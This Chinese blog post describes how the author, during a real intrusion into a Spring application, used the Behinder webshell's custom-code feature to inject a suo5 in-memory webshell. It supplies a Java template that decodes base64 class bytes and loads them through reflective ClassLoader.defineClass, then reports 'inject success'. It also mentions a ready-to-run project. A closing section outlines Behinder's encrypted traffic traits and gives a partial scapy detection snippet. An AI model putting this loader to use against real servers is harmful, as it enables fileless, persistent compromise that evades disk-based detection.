[技术分享]冰蝎自定义代码注入内存马

该文章已生成可运行项目,

如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。

免责声明

本博客所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。

前言

一次实战中,spring 环境,通过代码执行漏洞打入了冰蝎内存马,但是发现之后漏洞接口被打环了,执行不成功,并且目标不出网,这时候就想到了通过冰蝎的自定义代码功能注入 suo5 内存马。

自定义代码注入

点击冰蝎自定义代码功能,可以看到已经有了示例的代码,这个代码功能就是输出 hello world。

ServletOutputStream so = ((ServletResponse) Response).getOutputStream();
so.write("hello world".getBytes("UTF-8"));
so.flush();
so.close();

fillContext 方法是用来设置 Request、Response、Session 的。

我们只要在equals函数中嵌入注入内存马的代码就行了,可以参考如下链接通过反射类加载字节码来注入内存马。

[java学习]反射类加载字节码

jdk 版本可以在冰蝎的基本信息中看到,jdk 版本过高的话需要更改反射类加载字节码的代码。

参考代码

高版本 jdk 不适用。

import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
import javax.servlet.jsp.PageContext;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Method;
import java.util.Base64;


public class Test {

    private Object Request;
    private Object Response;
    private Object Session;


    @Override
    public boolean equals(Object obj) {

        try {
            fillContext(obj);
            String evilClassBase64 = "{{base64ClassBytes}}";
            byte[] bytes = Base64.getDecoder().decode(evilClassBase64);
            Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            method.setAccessible(true);
            Class ccc = (Class) method.invoke(ClassLoader.getSystemClassLoader(), "{{className}}", bytes, new Integer(0), new Integer(bytes.length));
            ccc.newInstance();
            ServletOutputStream so = ((ServletResponse) Response).getOutputStream();
            so.write("inject success".getBytes("UTF-8"));
            so.flush();
            so.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return true;
    }



    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
            this.Request = obj.getClass().getDeclaredMethod("getRequest", new Class[] {}).invoke(obj);
            this.Response = obj.getClass().getDeclaredMethod("getResponse", new Class[] {}).invoke(obj);
            this.Session = obj.getClass().getDeclaredMethod("getSession", new Class[] {}).invoke(obj);

        } else {
            Map<String, Object> objMap = (Map<String, Object>) obj;
            this.Session = objMap.get("session");
            this.Response = objMap.get("response");
            this.Request = objMap.get("request");
        }
        Response.getClass().getDeclaredMethod("setCharacterEncoding", new Class[] { String.class }).invoke(Response, "UTF-8");

    }
}
本文章已经生成可运行项目
### 冰蝎内存的网络流量特征及其检测与防御 #### 1. 加密通信机制 冰蝎内存的核心特点是采用AES对称加密技术进行数据传输,且加密密钥由随机数函数动态生成[^1]。这意味着每次会话使用的密钥都不同,从而增加了流量分析和解码的难度。 #### 2. 密钥协商过程的变化 早期版本的冰蝎在建立连接时会有两次明文的密钥协商过程,这成为了一些WAF设备识别的关键点。然而,从3.0版本起,冰蝎取消了这一过程,改为直接使用预共享密钥或其他方式完成初始化[^1]。此改动使得传统的基于密钥协商行为的检测手段失效。 #### 3. HTTP请求头特性 尽管冰蝎尝试隐藏其身份,但在实际操作中仍保留某些特定模式: - **User-Agent字段**:默认情况下,冰蝎会选择一组固定的老旧浏览器标识作为User-Agent值[^1]。虽然用户可以选择自定义UA字符串以规避探测,但这仍然是一个潜在弱点。 - **Cookie和其他头部参数**:有时会在请求中携带特殊的cookie名称或者格式化的header项用于维持session状态等目的[^2]。 #### 4. 数据包结构特点 对于上传阶段而言,由于整个payload完全驻留在RAM里而不落地磁盘上,因此传统依赖于扫描物理文件的技术难以奏效。不过,在初始部署期间可能仍然能够观察到异常活动比如非正常的大尺寸POST提交动作等等[^3]。 #### 5. 综合策略建议 针对上述提到的各种可能性,可以从以下几个方面着手构建更有效的防护体系: - 实施深度包解析(DPI),重点审查那些表现出不寻常行为模式(如重复访问相同资源却带有不同的post body内容) 的链接; - 利用机器学习模型训练出区分良性和恶意样本的能力,进而降低误判率的同时提高准确性; - 定期更新签名库以便及时应对新出现变种威胁; ```python import re from scapy.all import * def detect_behinder_traffic(packet): if packet.haslayer(TCP) and packet[TCP].dport == 80: payload = str(packet[TCP].payload) # Check for common User-Agents used by Behinder user_agents = ["Mozilla/4.0 (compatible; MSIE 6.0;", "Dalvik/"] if any(re.search(user_agent, payload) for user_agent in user_agents): return True # Look for other suspicious patterns such as specific headers or POST sizes ... return False ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值